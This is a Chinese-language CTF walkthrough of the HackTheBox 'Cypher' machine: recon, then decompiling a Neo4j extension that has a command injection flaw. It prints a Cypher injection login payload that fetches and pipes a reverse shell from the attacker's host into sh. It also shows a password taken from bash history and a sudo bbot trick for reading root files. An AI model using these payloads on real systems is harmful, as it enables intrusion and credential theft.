Cypher on HackTheBox

Before all

言簡意賅的好題目,請連連線都連不上的大便 TheFrizz 學一下(
Victim’s IP : 10.10.11.57
Victim’s Host : *.cypher.htb
Attacker’s IP : 10.10.16.5

RECON

port scan

Command

1
rustscan -a 10.10.11.4 --ulimit 5000 -- -sC -sV -Pn

Result

1
2
Open 10.10.11.57:22
Open 10.10.11.57:80

標準的 ssh + http

directory enumeration

Command

1
dirsearch --url 'http://cypher.htb'

Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
Target: http://cypher.htb/

[06:21:47] Starting:
[06:22:12] 200 - 5KB - /about
[06:22:12] 200 - 5KB - /about.html
[06:22:32] 307 - 0B - /api -> /api/docs
[06:22:32] 404 - 22B - /api-docs
[06:22:32] 404 - 22B - /api-doc
[06:22:32] 404 - 22B - /api.log
[06:22:32] 404 - 22B - /api.php
[06:22:32] 404 - 22B - /api/_swagger_/
[06:22:32] 404 - 22B - /api.py
[06:22:32] 404 - 22B - /api/api-docs
[06:22:32] 404 - 22B - /api/2/explore/
[06:22:32] 404 - 22B - /api/2/issue/createmeta
[06:22:32] 404 - 22B - /api/api
[06:22:32] 307 - 0B - /api/ -> http://cypher.htb/api/api
[06:22:32] 404 - 22B - /api/__swagger__/
[06:22:32] 404 - 22B - /api/apidocs
[06:22:32] 404 - 22B - /api/application.wadl
[06:22:32] 404 - 22B - /api/cask/graphql
[06:22:32] 404 - 22B - /api/batch
[06:22:32] 404 - 22B - /api/apidocs/swagger.json
[06:22:33] 404 - 22B - /api/docs/
[06:22:33] 404 - 22B - /api/config
[06:22:33] 404 - 22B - /api/docs
[06:22:33] 404 - 22B - /api/error_log
[06:22:33] 404 - 22B - /api/jsonws/invoke
[06:22:33] 404 - 22B - /api/login.json
[06:22:33] 404 - 22B - /api/jsonws
[06:22:33] 404 - 22B - /api/package_search/v4/documentation
[06:22:33] 404 - 22B - /api/profile
[06:22:33] 404 - 22B - /api/snapshots
[06:22:33] 404 - 22B - /api/proxy
[06:22:33] 404 - 22B - /api/swagger.yaml
[06:22:33] 404 - 22B - /api/swagger.json
[06:22:33] 404 - 22B - /api/swagger
[06:22:33] 404 - 22B - /api/swagger.yml
[06:22:33] 404 - 22B - /api/spec/swagger.json
[06:22:33] 404 - 22B - /api/swagger/swagger
[06:22:33] 404 - 22B - /api/v1/
[06:22:33] 404 - 22B - /api/timelion/run
[06:22:33] 404 - 22B - /api/swagger/ui/index
[06:22:33] 404 - 22B - /api/v1
[06:22:33] 404 - 22B - /api/v1/swagger.yaml
[06:22:33] 404 - 22B - /api/v2/
[06:22:33] 404 - 22B - /api/v2/swagger.json
[06:22:33] 404 - 22B - /api/v1/swagger.json
[06:22:33] 404 - 22B - /api/v2
[06:22:33] 404 - 22B - /api/v2/helpdesk/discover
[06:22:33] 404 - 22B - /api/v3
[06:22:33] 404 - 22B - /api/v4
[06:22:33] 404 - 22B - /api/version
[06:22:33] 404 - 22B - /api/v2/swagger.yaml
[06:22:33] 404 - 22B - /api/whoami
[06:22:33] 404 - 22B - /api/vendor/phpunit/phpunit/phpunit
[06:22:33] 404 - 22B - /apibuild.pyc
[06:22:33] 404 - 22B - /apis
[06:22:33] 404 - 22B - /apidoc
[06:22:33] 404 - 22B - /apiserver-aggregator-ca.cert
[06:22:33] 404 - 22B - /apidocs
[06:22:33] 404 - 22B - /apiserver-aggregator.cert
[06:22:33] 404 - 22B - /apiserver-client.crt
[06:22:33] 404 - 22B - /apiserver-key.pem
[06:22:33] 404 - 22B - /apiserver-aggregator.key
[06:22:50] 404 - 22B - /demo.php
[06:22:50] 307 - 0B - /demo -> /login
[06:22:50] 404 - 22B - /demo.aspx
[06:22:50] 404 - 22B - /demo.jsp
[06:22:50] 307 - 0B - /demo/ -> http://cypher.htb/api/demo
[06:22:50] 404 - 22B - /demo.js
[06:22:50] 404 - 22B - /demoadmin
[06:22:50] 404 - 22B - /demo/sql/index.jsp
[06:22:50] 404 - 22B - /demo/ojspext/events/globals.jsa
[06:22:50] 404 - 22B - /demos/
[06:23:09] 200 - 4KB - /login
[06:23:09] 200 - 4KB - /login.html
[06:23:44] 301 - 178B - /testing -> http://cypher.htb/testing/

在 testing 路徑開放的目錄取得custom-apoc-extension-1.0-SNAPSHOT.jar

Exploit

Jar decompile

使用 decompiler.com 反組譯:
custom-apoc-extension-1.0-SNAPSHOT.jar/com/cypher/neo4j/apoc/CustomFunctions.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class CustomFunctions {
@Procedure(
name = "custom.getUrlStatusCode",
mode = Mode.READ
)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}

String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
...
}
}

這是一個自定義的指令集 CustomFunctions,可透過 neo4j query 調用
調用方法是CALL custom.getUrlStatusCode(BLABLABLA)
在用 bash 做 curl 的地方信任使用者傳入的 url 值,有 CMDI 的漏洞

Cypher Injection to RCE

嘗試於cypher.htb/loginwhale120'/meow進行登入發現報錯:

1
2
3
4
5
6
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 63 (offset: 62))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'whale120'' return h.value as hash"
^}

有 Cypher Injection 風險 (近似於 SQL Injection,但是用 Cypher Query)
直接呼叫剛剛的 custom.getUrlStatusCode 做 cmdi

1
2
3
4
{
"username":"whale120' OR 1=1 CALL custom.getUrlStatusCode('10.10.16.5; curl http://10.10.16.5/shell.txt | sh # ') YIELD statusCode WITH 1 as a MATCH (n) RETURN n//",
"password":"meow"
}

shell.txt 放 reverse shell payload,用 python 開本地 80 port

1
python3 -m http.server 80

image

image

Privilege Escalation

Password Collection

從 neo4j 的 .bash_history 拿到 graphasm 的密碼

1
2
3
4
5
6
7
8
9
10
$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
neo4j@cypher:/$ cd ~
cd ~
neo4j@cypher:~$ cat .bash_history
cat .bash_history
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
neo4j@cypher:~$ ls /home
ls /home
graphasm

File reading through sudo bbot

檢查權限,可以用 ROOT 做 bbot 指令

1
2
3
4
5
6
7
8
9
10
graphasm@cypher:~$ sudo -l
sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot

利用引入 target file + debug 的方法讀 root.txt

1
sudo bbot -t /root/root.txt -d

After all

最近在忙qq